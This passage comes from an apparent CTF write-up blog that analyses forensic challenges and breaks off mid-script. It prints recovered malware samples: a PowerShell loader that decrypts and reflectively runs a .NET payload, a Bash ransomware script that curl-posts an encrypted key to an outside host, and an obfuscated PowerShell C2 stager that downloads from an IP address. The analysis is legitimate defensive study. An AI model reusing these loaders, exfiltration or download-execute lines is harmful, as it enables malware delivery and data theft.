480w,\n/static/9806742d1d79a8bfcf33b566522ca894/d9199/image-20230322204149524.png 960w,\n/static/9806742d1d79a8bfcf33b566522ca894/4d383/image-20230322204149524.png 1195w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9806742d1d79a8bfcf33b566522ca894/d9199/image-20230322204149524.png\"\n            alt=\"image-20230322204149524\"\n            title=\"image-20230322204149524\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Reformatting this script produces the following. <code class=\"language-text\">%~f0</code> represents the path of the batch file itself:</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token variable\">$eIfqq</span> = <span class=\"token namespace\">[System.IO.File]</span>::<span class=\"token punctuation\">(</span><span class=\"token string\">'txeTllAdaeR'</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span>1<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">-</span>11<span class=\"token punctuation\">]</span> <span class=\"token operator\">-join</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token string\">'%~f0'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Split<span class=\"token punctuation\">(</span><span class=\"token namespace\">[Environment]</span>::NewLine<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$YiLGW</span> in <span class=\"token variable\">$eIfqq</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> \n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$YiLGW</span><span class=\"token punctuation\">.</span>StartsWith<span class=\"token punctuation\">(</span><span class=\"token string\">':: '</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>  \n        <span class=\"token variable\">$VuGcO</span> = <span class=\"token variable\">$YiLGW</span><span class=\"token punctuation\">.</span>Substring<span class=\"token punctuation\">(</span>3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token variable\">$uZOcm</span> = <span class=\"token namespace\">[System.Convert]</span>::<span class=\"token punctuation\">(</span><span class=\"token string\">'gnirtS46esaBmorF'</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span>1<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">-</span>16<span class=\"token punctuation\">]</span> <span class=\"token operator\">-join</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$VuGcO</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$BacUA</span> = <span class=\"token function\">New-Object</span> System<span class=\"token punctuation\">.</span>Security<span class=\"token punctuation\">.</span>Cryptography<span class=\"token punctuation\">.</span>AesManaged<span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$BacUA</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CBC<span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$BacUA</span><span class=\"token punctuation\">.</span>Padding = <span class=\"token namespace\">[System.Security.Cryptography.PaddingMode]</span>::PKCS7<span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$BacUA</span><span class=\"token punctuation\">.</span>Key = <span class=\"token namespace\">[System.Convert]</span>::<span class=\"token punctuation\">(</span><span class=\"token string\">'gnirtS46esaBmorF'</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span>1<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">-</span>16<span class=\"token punctuation\">]</span> <span class=\"token operator\">-join</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token string\">'0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20='</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$BacUA</span><span class=\"token punctuation\">.</span>IV = <span class=\"token namespace\">[System.Convert]</span>::<span class=\"token punctuation\">(</span><span class=\"token string\">'gnirtS46esaBmorF'</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span>1<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">-</span>16<span class=\"token punctuation\">]</span> <span class=\"token operator\">-join</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token string\">'2hn/J717js1MwdbbqMn7Lw=='</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$Nlgap</span> = <span class=\"token variable\">$BacUA</span><span class=\"token punctuation\">.</span>CreateDecryptor<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$uZOcm</span> = <span class=\"token variable\">$Nlgap</span><span class=\"token punctuation\">.</span>TransformFinalBlock<span class=\"token punctuation\">(</span><span class=\"token variable\">$uZOcm</span><span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> <span class=\"token variable\">$uZOcm</span><span class=\"token punctuation\">.</span>Length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$Nlgap</span><span class=\"token punctuation\">.</span>Dispose<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$BacUA</span><span class=\"token punctuation\">.</span>Dispose<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$mNKMr</span> = <span class=\"token function\">New-Object</span> System<span class=\"token punctuation\">.</span>IO<span class=\"token punctuation\">.</span>MemoryStream<span class=\"token punctuation\">(</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$uZOcm</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$bTMLk</span> = <span class=\"token function\">New-Object</span> System<span class=\"token punctuation\">.</span>IO<span class=\"token punctuation\">.</span>MemoryStream<span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$NVPbn</span> = <span class=\"token function\">New-Object</span> System<span class=\"token punctuation\">.</span>IO<span class=\"token punctuation\">.</span>Compression<span class=\"token punctuation\">.</span>GZipStream<span class=\"token punctuation\">(</span><span class=\"token variable\">$mNKMr</span><span class=\"token punctuation\">,</span> <span class=\"token namespace\">[IO.Compression.CompressionMode]</span>::Decompress<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$NVPbn</span><span class=\"token punctuation\">.</span>CopyTo<span class=\"token punctuation\">(</span><span class=\"token variable\">$bTMLk</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$NVPbn</span><span class=\"token punctuation\">.</span>Dispose<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$mNKMr</span><span class=\"token punctuation\">.</span>Dispose<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$bTMLk</span><span class=\"token punctuation\">.</span>Dispose<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$uZOcm</span> = <span class=\"token variable\">$bTMLk</span><span class=\"token punctuation\">.</span>ToArray<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$gDBNO</span> = <span class=\"token namespace\">[System.Reflection.Assembly]</span>::<span class=\"token punctuation\">(</span><span class=\"token string\">'daoL'</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span>1<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">-</span>4<span class=\"token punctuation\">]</span> <span class=\"token operator\">-join</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$uZOcm</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$PtfdQ</span> = <span class=\"token variable\">$gDBNO</span><span class=\"token punctuation\">.</span>EntryPoint<span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$PtfdQ</span><span class=\"token punctuation\">.</span>Invoke<span class=\"token punctuation\">(</span><span class=\"token variable\">$null</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">,</span> <span class=\"token namespace\">[string[]]</span> <span class=\"token punctuation\">(</span><span class=\"token string\">'%*'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>This script uses <code class=\"language-text\">$VuGcO</code> to retrieve a Base64 string, then calls <code class=\"language-text\">System.Convert.FromBase64String</code> to decode it into binary data <code class=\"language-text\">$uZOcm</code>.</p>\n<p>It then uses <code class=\"language-text\">System.Security.Cryptography</code> classes to derive a Key and IV from hardcoded strings, creating a symmetric decryption object <code class=\"language-text\">$Nlgap</code>.</p>\n<p>This decryptor is used to decrypt the binary data <code class=\"language-text\">$uZOcm</code>.</p>\n<p>The binary data is gzip-compressed; after decompression via <code class=\"language-text\">System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress)</code>, it is stored in the memory stream <code class=\"language-text\">$bTMLk</code>.</p>\n<p>Finally, <code class=\"language-text\">$bTMLk</code> is converted to an array, loaded as a <code class=\"language-text\">System.Reflection.Assembly</code> object, and executed.</p>\n<p>This implementation closely resembles AsyncRAT and similar malware families dropped via OneNote.</p>\n<p>We were able to identify the flag from the final <code class=\"language-text\">System.Reflection.Assembly</code> object, but our approach was not elegant — we forced the data out of a process dump rather than finding a clean solution.</p>\n<p>Consulting a writeup afterward, the intended approach was not to directly exploit the .NET assembly loaded into memory by <code class=\"language-text\">System.Reflection.Assembly</code>, but rather to replace the above reversed implementation with a Python script and export it as a file:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">key <span class=\"token operator\">=</span> base64<span class=\"token punctuation\">.</span>b64decode<span class=\"token punctuation\">(</span><span class=\"token string\">'0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20='</span><span class=\"token punctuation\">)</span>\niv <span class=\"token operator\">=</span> base64<span class=\"token punctuation\">.</span>b64decode<span class=\"token punctuation\">(</span><span class=\"token string\">'2hn/J717js1MwdbbqMn7Lw=='</span><span class=\"token punctuation\">)</span>\ncipher <span class=\"token operator\">=</span> AES<span class=\"token punctuation\">.</span>new<span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">,</span> AES<span class=\"token punctuation\">.</span>MODE_CBC<span class=\"token punctuation\">,</span> iv<span class=\"token operator\">=</span>iv<span class=\"token punctuation\">)</span>\nclean <span class=\"token operator\">=</span> cipher<span class=\"token punctuation\">.</span>decrypt<span class=\"token punctuation\">(</span>base64<span class=\"token punctuation\">.</span>b64decode<span class=\"token punctuation\">(</span>inp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nout <span class=\"token operator\">=</span> unpad<span class=\"token punctuation\">(</span>clean<span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\ndecomp <span class=\"token operator\">=</span> gzip<span class=\"token punctuation\">.</span>decompress<span class=\"token punctuation\">(</span>out<span class=\"token punctuation\">)</span></code></pre></div>\n<p>A much cleaner method — good lesson learned.</p>\n<h2 id=\"bashic-ransomware-forensic\" style=\"position:relative;\"><a href=\"#bashic-ransomware-forensic\" aria-label=\"bashic ransomware forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Bashic Ransomware (Forensic)</h2>\n<blockquote>\n<p>The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?</p>\n</blockquote>\n<p>We were given a pcap and a memory dump captured from an environment infected by ransomware.</p>\n<p>Exporting objects from the pcap produced the following script:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token assign-left variable\">tljyVe4o7K3yOdj</span><span class=\"token operator\">=</span><span class=\"token string\">\"&lt;key>\"</span>\n<span class=\"token builtin class-name\">echo</span> <span class=\"token variable\">$tljyVe4o7K3yOdj</span> <span class=\"token operator\">|</span> base64 --decode <span class=\"token operator\">|</span> gpg --import\n<span class=\"token builtin class-name\">echo</span> -e <span class=\"token string\">\"5<span class=\"token entity\" title=\"\\n\">\\n</span>y<span class=\"token entity\" title=\"\\n\">\\n</span>\"</span> <span class=\"token operator\">|</span> gpg --command-fd <span class=\"token number\">0</span> --edit-key <span class=\"token string\">\"RansomKey\"</span> trust\n\n<span class=\"token assign-left variable\">DhQ52B6UugM1WcX</span><span class=\"token operator\">=</span><span class=\"token variable\"><span class=\"token variable\">`</span>strings /dev/urandom <span class=\"token operator\">|</span> <span class=\"token function\">grep</span> -o <span class=\"token string\">'[[:alnum:]]'</span> <span class=\"token operator\">|</span> <span class=\"token function\">head</span> -n <span class=\"token number\">16</span> <span class=\"token operator\">|</span> <span class=\"token function\">tr</span> -d <span class=\"token string\">'\\n'</span><span class=\"token variable\">`</span></span>\n<span class=\"token builtin class-name\">echo</span> <span class=\"token variable\">$DhQ52B6UugM1WcX</span> <span class=\"token operator\">></span> RxgXlDqP0h3baha\ngpg --batch --yes -r <span class=\"token string\">\"RansomKey\"</span> -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha \nshred -u RxgXlDqP0h3baha\n<span class=\"token function\">curl</span> --request POST --data-binary <span class=\"token string\">\"@qgffrqdGlfhrdoE\"</span> https://files.pypi-install.com/packages/recv.php\n\n<span class=\"token comment\"># echo $DhQ52B6UugM1WcX | gpg --batch --yes -o \"$i\".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 \"$i\" 2>/dev/null</span>\ngpg --decrypt --batch --output data.txt flag.txt.a59ap</code></pre></div>\n<p>Here, GPG encryption was performed using a pre-defined key together with a randomly generated string.</p>\n<p>This means that recovering that key would be enough to decrypt the encrypted file.</p>\n<p>We were not sure of the cleanest approach to extract the key, but we were able to brute-force it from the memory dump and retrieve the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 864px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/970094b64a1993b4fcf00e2923d8d008/9cab2/image-20230322220030350.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 72.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAABl0lEQVQ4y32TWY6DMBBE8wvZDjAjDRD21WYZIHP/c9W4OmqkSJCPkm2gy8/V5uSXHh4mwTwsqMoSw2AxOg09ZWBNh96NZZG797nM0zTF5XKB53nwff9NJz/3EDQhetujKAp0XYe2bTc1TePUIssyRI8HqqpCnudiuKeTX3mIbIx5mtF2rSMcYK2FMUbmHPu+R+no67qWNU1Js29IwjZCbxxhWWxkLKaUksekKddhGErx+XzeMaxdhkOCZVqkcJomISIlCTlXwjiOhS4Igl2zN0LbWSGkEXMkHUfNVM24CdfX6/Uz4fq7omlfhJRmp5SkN26cl0U2ud/vB4ZCGGIwg3RSM1QyzZIZpl/fyOJEuvyZcEzwXP7EgETUOI4izZKb1e5aaZdvt9uBYebhpw5eXXYFpOHxWKRzKkkSlO4ZN+F3x4Yb4VMMmJ9SaoYUNyAl37NBx0cmoftT2OUszzYqzU5FQuZIsyiKPhg2HuIpxTqvYjTPs0jJlFR/OY68k8cXO3WEVYCmeuWk+bFIxcxIx+dsCo9+lOE/uKWGNLJHXYsAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/970094b64a1993b4fcf00e2923d8d008/8ac56/image-20230322220030350.webp 240w,\n/static/970094b64a1993b4fcf00e2923d8d008/d3be9/image-20230322220030350.webp 480w,\n/static/970094b64a1993b4fcf00e2923d8d008/b4e26/image-20230322220030350.webp 864w\"\n              sizes=\"(max-width: 864px) 100vw, 864px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/970094b64a1993b4fcf00e2923d8d008/8ff5a/image-20230322220030350.png 240w,\n/static/970094b64a1993b4fcf00e2923d8d008/e85cb/image-20230322220030350.png 480w,\n/static/970094b64a1993b4fcf00e2923d8d008/9cab2/image-20230322220030350.png 864w\"\n            sizes=\"(max-width: 864px) 100vw, 864px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/970094b64a1993b4fcf00e2923d8d008/9cab2/image-20230322220030350.png\"\n            alt=\"image-20230322220030350\"\n            title=\"image-20230322220030350\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"interstellar-c2-forensic\" style=\"position:relative;\"><a href=\"#interstellar-c2-forensic\" aria-label=\"interstellar c2 forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Interstellar C2 (Forensic)</h2>\n<blockquote>\n<p>We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora’s private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?</p>\n</blockquote>\n<p>We were given a pcap file capturing real C2 server communications.</p>\n<p>Extracting objects from the pcap produced the following obfuscated script:</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\">  <span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}{2}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'T'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Set-i'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'em'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token string\">'vAriA'</span><span class=\"token operator\">+</span><span class=\"token string\">'ble'</span><span class=\"token operator\">+</span><span class=\"token string\">':q'</span><span class=\"token operator\">+</span><span class=\"token string\">'L'</span><span class=\"token operator\">+</span><span class=\"token string\">'z0so'</span><span class=\"token punctuation\">)</span>  <span class=\"token punctuation\">(</span> <span class=\"token namespace\">[tYpe]</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{0}{1}{2}{3}\"</span> <span class=\"token operator\">-</span>F<span class=\"token string\">'SySTEM.i'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'o.Fi'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'lE'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'mode'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">;</span>  &amp;<span class=\"token punctuation\">(</span><span class=\"token string\">\"{0}{2}{1}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'set-Vari'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'E'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ABL'</span><span class=\"token punctuation\">)</span> l60Yu3  <span class=\"token punctuation\">(</span> <span class=\"token namespace\">[tYPe]</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{7}{0}{5}{4}{3}{1}{2}{6}\"</span><span class=\"token operator\">-</span>F<span class=\"token string\">'m.'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ph'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Y.ae'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'A'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'TY.crypTOgR'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'SeCuRi'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'S'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'sYSte'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{0}{2}{1}{3}\"</span> <span class=\"token operator\">-</span>f <span class=\"token string\">'Set-V'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'i'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'AR'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'aBle'</span><span class=\"token punctuation\">)</span>  BI34  <span class=\"token punctuation\">(</span>  <span class=\"token namespace\">[TyPE]</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}\"</span> <span class=\"token operator\">-</span>f <span class=\"token string\">'TEm.secU'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'R'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Y.CrY'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'IT'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'s'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Y.'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'D'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'yS'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'pTogrAPH'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'E'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'CrypTOSTReAmmo'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  $<span class=\"token punctuation\">{</span>U`Rl<span class=\"token punctuation\">}</span> = <span class=\"token punctuation\">(</span><span class=\"token string\">\"{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'htt'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'4f0'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'53-41ab-938'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'d8e51'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'p://64.226.84.200/9497'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'8'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'58'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'a-ae1bd8'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'-'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'6'</span><span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>P`TF<span class=\"token punctuation\">}</span> = <span class=\"token string\">\"<span class=\"token variable\">$env</span>:temp\\94974f08-5853-41ab-938a-ae1bd86d8e51\"</span>\n<span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{2}{1}{3}{0}\"</span><span class=\"token operator\">-</span>f<span class=\"token string\">'ule'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'M'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Import-'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'od'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token string\">\"{2}{0}{3}{1}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'r'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'fer'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'BitsT'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ans'</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{4}{5}{3}{1}{2}{0}\"</span><span class=\"token operator\">-</span>f<span class=\"token string\">'r'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'-BitsT'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ransfe'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'t'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'S'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'tar'</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span>Source $<span class=\"token punctuation\">{</span>u`Rl<span class=\"token punctuation\">}</span> <span class=\"token operator\">-</span>Destination $<span class=\"token punctuation\">{</span>p`Tf<span class=\"token punctuation\">}</span>\n$<span class=\"token punctuation\">{</span>Fs<span class=\"token punctuation\">}</span> = &amp;<span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{0}{2}\"</span> <span class=\"token operator\">-</span>f <span class=\"token string\">'w-Ob'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Ne'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ject'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token string\">\"{1}{2}{0}\"</span><span class=\"token operator\">-</span>f <span class=\"token string\">'eam'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'IO.'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FileStr'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>$<span class=\"token punctuation\">{</span>p`Tf<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>  <span class=\"token punctuation\">(</span> &amp;<span class=\"token punctuation\">(</span><span class=\"token string\">\"{3}{1}{0}{2}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'lDIt'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'hi'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'eM'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'c'</span><span class=\"token punctuation\">)</span>  <span class=\"token punctuation\">(</span><span class=\"token string\">'VAria'</span><span class=\"token operator\">+</span><span class=\"token string\">'blE'</span><span class=\"token operator\">+</span><span class=\"token string\">':Q'</span><span class=\"token operator\">+</span><span class=\"token string\">'L'</span><span class=\"token operator\">+</span><span class=\"token string\">'z0sO'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>VALue::<span class=\"token string\">\"oP`eN\"</span><span class=\"token punctuation\">)</span>\n$<span class=\"token punctuation\">{</span>MS<span class=\"token punctuation\">}</span> = <span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{3}{1}{0}{2}\"</span><span class=\"token operator\">-</span>f<span class=\"token string\">'c'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'je'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'t'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'New-Ob'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token string\">\"{5}{3}{0}{2}{4}{1}\"</span> <span class=\"token operator\">-</span>f<span class=\"token string\">'O.Memor'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'eam'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'y'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'tem.I'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Str'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Sy'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n$<span class=\"token punctuation\">{</span>a`es<span class=\"token punctuation\">}</span> =   <span class=\"token punctuation\">(</span>&amp;<span class=\"token punctuation\">(</span><span class=\"token string\">'GI'</span><span class=\"token punctuation\">)</span>  VARiaBLe:l60Yu3<span class=\"token 